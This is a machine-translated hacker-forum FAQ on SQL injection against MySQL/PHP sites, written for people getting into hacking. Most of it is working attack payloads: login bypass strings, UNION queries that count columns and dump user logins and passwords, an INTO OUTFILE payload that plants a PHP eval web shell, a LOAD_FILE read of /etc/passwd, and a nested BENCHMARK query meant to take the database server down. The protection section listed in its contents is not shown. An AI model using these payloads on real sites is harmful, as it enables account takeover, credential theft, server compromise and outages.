This page has been robot translated, sorry for typos if any. Original content here.

SQL Injection [full FAQ]



  • 0.INTRO
  • 1. HOW TO FIND SQL INJECTION
  • 2. WHAT AND HOW CAN YOU LEARN FROM THIS USEFUL
  • 3. WHAT TO DO IF NO DISPLAYABLE FIELDS.
  • 4. WHAT TO DO IF SOMETHING FILTERS.
  • 5. USEFUL FUNCTIONS IN MYSQL
  • 6. HOW TO PROTECT FROM SQL INJECTION
  • 7. ADDITIONS


  • 0.INTRO


    Crawling on the Internet in search of at least some information on SQL injection you probably often stumbled upon articles either very short, or incomprehensible, or covering one topic or something else which of course did not suit you. Once, I also collected articles 10–20 on this topic in order to understand the many subtleties of this vulnerability. And now, remembering those times, I decided to write a complete FAQ on this topic, so that the rest would not suffer. And another request. Those who find that I missed something, where it was wrong, etc., please write below, it’s difficult all the same, to keep everything in your head :) . By the way this is my first article, please do not throw tomatoes, and do not kick your feet.

    It’s not the first day that you get carried away with hacking. You probably know what SQL injection is. If not, then this is an article for you. SQL injection further simple injection is a type of attack in which the attacker modifies the original database query so that when the query is executed, the information he needs is derived from the database.

    To assimilate this article requires:
    a) The presence of brains
    b) Straight arms
    c) SQL language knowledge

    Basically, this article was written as for MYSQL + PHP, but there are a couple of examples with MSSQL.

    In general, in my opinion, the best way to learn how to work correctly with SQL injection is not to read this article, but to lively practice , for example, write a vulnerable script yourself, or use my one given at the very end.

    By the way, I advise you to read everything because there is something important for the next item, etc.

    1. HOW TO FIND SQL INJECTION

    It's pretty simple. It is necessary to insert in all fields, variables, double and single quotes.

    1.1 Second first

    Let's start with this script

    1 . Suppose that the original query to the database looks like this:
    SELECT * FROM news WHERE id=' 1 '; Now we will add a quotation mark to the "id" variable, like this - if the variable is not filtered and error messages are turned on, something like this will come out:

    mysql_query (): You have an error in your SQL syntax; check the syntax for your right;

    As in the query to the database there will be an extra quote:
    SELECT * FROM news WHERE id=' 1' '; If the error report is turned off, then in this case it is possible to determine the presence of a vulnerability like this (It would also not hurt that it would not be confused with clause 1.4. As described in the same clause): That is, the query to the database will become like this:
    SELECT * FROM news WHERE id=' 1'; -- '; (For those who are in the tank “-“ this is the sign of the beginning of the comment, everything after it will be discarded, I also want to draw your attention to the fact that after it there must be a space (This is written in the MYSQL documentation) and, by the way, too). Thus, the query for the MYSQL remains the same and displays the same thing as for http: //xxx/news.php? Id = 1
    The whole point 2 is devoted to what to do with this vulnerability.

    1.2 Second case

    SQL has a LIKE statement. It is used to compare strings. Here's an authorization script when entering a username and password, asking for a database like this:
    SELECT * FROM users WHERE login LIKE 'Admin' AND pass LIKE '123';

    Even if this script filters the quote, it still remains vulnerable to injection. Instead of the password, we just need to enter "%" (For the LIKE operator, the "%" character matches any string) and then the query will become
    SELECT * FROM users WHERE login LIKE 'Admin' AND pass LIKE '%';

    and let us go inside with the login 'Admin'. In this case, we not only found SQL injection but also successfully used it.

    1.3 The third case

    What to do if in the same authorization script there is no quotation check. IMHO it would be at least stupid to use this injection to display some sort of information. Let the query to the database be of the type:
    SELECT * FROM users WHERE login = 'Admin' AND pass = '123';

    Unfortunately the password '123' does not fit :) , but we found an injection in the 'login' parameter and in order to register under the name 'Admin' we need to enter something like this Admin instead of it '; - that is, the part with the password check is discarded and we enter under the nickname 'Admin'.
    SELECT * FROM users WHERE login = ' Admin'; - 'AND pass =' ​​123 ';

    And now what to do if the vulnerability in the 'pass' field. We enter the following in this field 123 'OR login =' Admin '; - . The request will be as follows:
    SELECT * FROM users WHERE login = 'Admin' AND pass = '123' OR login = 'Admin'; - ';

    That for a DB it will be absolutely independent to such request:
    SELECT * FROM users WHERE (login = 'Admin' AND pass = '123') OR (login = 'Admin');

    And after these actions, we will become the full owner of the Acca with the login name 'Admin'.

    1.4 The fourth case

    Let's return to the news script. From the SQL language, we must remember that numeric parameters are not put in quotes, that is, with such an appeal to the script http: //xxx/news.php? Id = 1, the query to the database looks like this:
    SELECT * FROM news WHERE id = 1 ;

    You can also detect this injection by inserting quotes into the 'id' parameter and then jumping out the same error message:

    mysql_query (): You have an error in your SQL syntax; check the syntax for your right;

    If this message does not throw out, then you can understand that the quotation mark is filtered and then you need to enter http: //xxx/news.php? Id = 1 bla-bla-bla
    The DB will not understand this blah blah blah and will give an error message like:

    mysql_query (): You have an error in your SQL syntax; check the syntax for your right syntax to use it near '1 bla-bla-bla'

    If the error report is turned off then we check it like this http: //xxx/news.php? Id = 1; -
    Should it be displayed exactly the same as http: //xxx/news.php? Id = 1

    Now you can go to step 2.

    2. WHAT AND HOW CAN YOU LEARN FROM THIS USEFUL

    Further, only the type of vulnerability described in clause 1.1 will be considered, and it will not be difficult to remake it for others. :)

    2.1 UNION Team

    For starters, the most useful thing is the UNION team (who does not know to go to Google ) ...
    Modifying the appeal to the script http: //xxx/news.php? Id = 1 'UNION SELECT 1 - . We get the query to the database like this:
    SELECT * FROM news WHERE id = '1' UNION SELECT 1 - ';


    2.1.1.1 Selection of the number of fields (Method 1)

    Not forgetting that the number of columns before UNION and after must correspond, an error will probably come out (unless there is one column in the news table) like:

    mysql_query (): The used SELECT statements have a different number of columns

    In this case, we need to select the number of columns (so that their number before and after UNION ). We do it like this:

    http: //xxx/news.php? id = 1 'UNION SELECT 1, 2 -
    Mistake. " The used SELECT statements have a different number of columns "

    http: //xxx/news.php? id = 1 'UNION SELECT 1,2,3 -
    Error again.
    ...

    http: //xxx/news.php? id = 1 'UNION SELECT 1,2,3,4,5,6 -
    ABOUT! It was displayed just like http: //xxx/news.php? Id = 1
    it means the number of fields is selected, that is, there are 6 of them ...


    2.1.1.2 Selection of the number of fields (Method 2)

    And this method is based on selecting the number of fields using GROUP BY . That is, a request of this type:

    http: //xxx/news.php? id = 1 'GROUP BY 2 -

    It will be displayed without errors if the number of fields is less than or equal to 2.
    We make a request of this type:

    http: //xxx/news.php? id = 1 'GROUP BY 10 -

    Oops ... There was a type error.

    mysql_query (): Unknown column '10' in 'group statement'

    So the columns are less than 10. We divide 10 by 2. And we make a request

    http: //xxx/news.php? id = 1 'GROUP BY 5 -


    There is no error means the number of columns is greater than or equal to 5 but less than 10. Now we take the average value between 5 and 10, which is obtained like 7. Make the query

    http: //xxx/news.php? id = 1 'GROUP BY 7 -

    Oh again, the error ... :(

    mysql_query (): Unknown column '7' in 'group statement'

    So the amount is greater than or equal to 5 but less than 7. Well, and then make a request

    http: //xxx/news.php? id = 1 'GROUP BY 6 -

    There are no errors ... So the number is greater than or equal to 6 but less than 7. It follows that the required number of columns is 6.

    2.1.1.3 Selection of the number of fields (Method 3)

    The same principle as in clause 2.1.1.2 only uses the ORDER BY function. And the error text slightly changes if there are more fields.

    mysql_query (): Unknown column '10' in 'order clause'

    2.1.2 Definition of displayed columns

    I think that for many of us exactly the same page as http: //xxx/news.php? Id = 1 does not suit. So we need to make sure that nothing is output on the first request (before UNION ). The simplest thing is to change the "id" from '1' to '-1' (or to '9999999')
    http: //xxx/news.php? id = -1 'UNION SELECT 1,2,3,4,5,6 - Now we should see some of these numbers on the page. (For example, since this is conditionally a news script, then in the “News title” it will be displayed, let's say 3, “News” -4 and so on). Now, in order for us to get some information, we need to replace these numbers in the application to the script with the functions we need. If the numbers are not displayed anywhere else, then the remaining subparagraphs of paragraph 2.1 can be skipped.

    2.1.3 SIXSS (SQL Injection Cros Site Scripting)

    This XSS only through a request to the database. Example:
    http: //xxx/news.php? id = -1 'UNION SELECT 1,2,3,' <script> alert ('SIXSS') </ script> ', 5,6 - Well, I think it’s not hard to understand 4 in the page will be replaced by <script> alert ('SIXSS') </ script> and accordingly the exact same XSS will turn out.

    2.1.4 Column / table names

    If you know the names of tables and columns in the database, you can skip this item
    If you do not know ... There are two ways.

    2.1.4.1 Names of columns / tables if you have access to INFORMATION_SCHEMA and if the version of MYSQL> = 5

    The INFORMATION_SCHEMA.TABLES table contains information about all the tables in the database, the column TABLE_NAME-table names.
    http: //xxx/news.php? id = -1 'UNION SELECT 1,2,3, TABLE_NAME, 5,6 FROM INFORMATION_SCHEMA.TABLES - This is where the problem may appear. Since only the first line of the database response will be displayed. Then we need to use LIMIT like this:

    Output first line:
    http: //xxx/news.php? id = -1 'UNION SELECT 1,2,3, TABLE_NAME, 5,6 FROM INFORMATION_SCHEMA.TABLES LIMIT 1.1 -

    The output of the second line:
    http: //xxx/news.php? id = -1 'UNION SELECT 1,2,3, TABLE_NAME, 5,6 FROM INFORMATION_SCHEMA.TABLES LIMIT 2,1 - etc.

    Well, we found the Users table. Only this ... ahem ... the columns do not know ... Then the INFORMATION_SCHEMA.COLUMNS table comes to our aid; the column COLUMN_NAME contains the name of the column in the TABLE_NAME table. This is how we retrieve the column names.

    http: //xxx/news.php? id = -1 'UNION SELECT 1,2,3, COLUMN_NAME, 5,6 FROM INFORMATION_SCHEMA.COLUMNS WHERE TABLE_NAME =' Users' LIMIT 1,1 -

    http: //xxx/news.php? id = -1 'UNION SELECT 1,2,3, COLUMN_NAME, 5,6 FROM INFORMATION_SCHEMA.COLUMNS WHERE TABLE_NAME =' Users' LIMIT 2,1 -
    etc.

    And here we found the login , password fields.

    2.1.4.2 Column / table names if INFORMATION_SCHEMA is not available

    This is a zhopny option. :( . Here comes into force the usual brutofores ... Example:

    http: //xxx/news.php? id = -1 'UNION SELECT 1,2,3,4,5,6 FROM tbl_name -

    It is necessary to select Table_name until the error message of the following type disappears:

    mysql_query (): Table ' Tbl_name ' does not exist

    Well, we introduced, to our happiness, the Users lost the error message, and the page was displayed as if http: //xxx/news.php? Id = -1 'UNION SELECT 1,2,3,4,5,6 - what does this mean ? This means that there is a Users table and you need to start sorting the columns.

    http: //xxx/news.php? id = -1 'UNION SELECT 1,2,3, Column Name , 5,6 FROM Users -

    It is necessary to select Column_Name until the error message of the type disappears:

    mysql_query (): Unknown column ' Columnname ' 'in' field list '

    Where the error message disappears, then such a column exists.

    And this is how we learned that in the Users table there are login , password columns.

    2.1.5 Information display

    Accessing the script in this way http: //xxx/news.php? Id = -1 'UNION SELECT 1,2, login, password, 5,6 FROM Users LIMIT 1.1 - Displays the login and password of the first user from the table Users .

    2.2 Work with files

    2.2.1 Write to file

    There is such an interesting SELECT ... INTO OUTFILE function in MYSQL that allows you to write information to a file. Or, such a SELECT ... INTO DUMPFILE construction is almost similar and you can use any.

    Example: http: //xxx/news.php? Id = -1 'UNION SELECT 1,2,3,4,5,6 INTO OUTFILE' 1.txt '; -


    For her, there are several limitations.
    • It is forbidden to overwrite files
    • Requires FILE privileges
    • (!) Mandatory real quotes in the file name

    But what would prevent us from making the web go? Here, for example:

    http: //xxx/news.php? id = -1 'UNION SELECT 1,2,3,' <? php eval ($ _ GET ['e'])?> ', 5,6 INTO OUTFILE' 1.php '; -

    It remains only to find the full path to the site root on the server and add it before 1.php. In principle, you can find another error in the report which will see the path on the server or leave it at the root of the server and pick it up with a local connection, but this is another topic.

    2.2.2 Reading Files

    Consider the function LOAD_FILE

    Example: http: //xxx/news.php? Id = -1 'UNION SELECT 1,2, LOAD_FILE (' etc / passwd '), 4,5,6;

    For her, there are also a few limitations.
    • The full path to the file must be specified.
    • Requires FILE privileges
    • The file must be on the same server.
    • The size of this file must be less than specified in max_allowed_packet
    • The file must be open for reading by the user from under which the MYSQL is running.

    If the function fails to read the file, it returns NULL.

    2.3 DOS attack on SQL server

    In most cases, the SQL server is reached due to the fact that nothing else can be done. Type could not find out the tables / columns, no rights to this, no rights to it, etc. I honestly against this method but all the same ...

    Closer to the point ...
    The BENCHMARK function performs the same action several times.
    SELECT BENCHMARK (100000, md5 (current_time));

    That is, here this function does md5 (current_time) 100,000 times, which takes about 0.7 seconds on my computer ... It seemed like this ... And if you try the embedded BENCHMARK ?

    SELECT BENCHMARK (100000, BENCHMARK (100000, md5 (current_time)));

    It takes a very long time to be honest, I didn’t even wait ... I had to do a reset :) .
    Example Dos in our case:

    http: //xxx/news.php? id = -1 'UNION SELECT 1, 2, BENCHMARK (100000, BENCHMARK (100000, md5 (current_time))), 4, 5, 6; -

    Just 100 times to poke F5 and “the server will fall into a fast down”))).